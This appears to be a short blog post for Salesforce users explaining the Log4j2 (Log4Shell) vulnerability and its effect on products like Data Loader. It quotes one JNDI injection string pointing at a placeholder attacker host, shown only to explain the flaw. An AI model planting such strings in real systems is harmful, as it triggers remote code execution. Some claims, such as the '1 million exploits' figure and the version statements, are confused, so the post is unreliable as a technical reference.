You may have heard the Log4j2 vulnerability has been resolved recently for the Salesforce products. But, why did it become such a hot topic over the last few weeks?
This issue is actually part of a bigger problem that has affected major systems and has huge security implications.
In this blog post, we want to give you a high-level overview of how this issue came out and what it means to you, and how to prepare and respond to these issues in the future.
First things first. The severity of this issue has impacted almost 1 million exploits. Yes, 1 million!
Now, be aware that Log4j is not a virus, but a very common Java library that has been used in a variety of platforms worldwide. Log4Shell is the name of the exploit which enables arbitrary code execution.
What’s fascinating about it, is that this vulnerability has existed unnoticed since 2013.
According to Ceki Gülcü (no relation to the Log4j2 2.x), the original author of the framework, “the exploit becomes effective when the attacker can inject a string containing a substring in the form "${jndi:ldap://some.attacker-controlled.site/}". Opportunities for injecting such strings appear to be endless.”
What does this mean? In simple words, third parties can bypass any restrictions and can execute any code on the host machine.
Data loader, for example, is one of the Salesforce products that was heavily affected. Moreover, because it is an open source, there are many points that attackers can use to learn the codebase and use the exploit as a vector.
One thing to note is that the Log4j 1.x library does not have this issue, but all versions before the current release of Log4j 2.x still have this vulnerability unless updated to the latest version.
Another important thing to know is that this exploit has existed in a variety of applications and ecosystems and customers had to wait for this issue to be solved to reduce their exposure.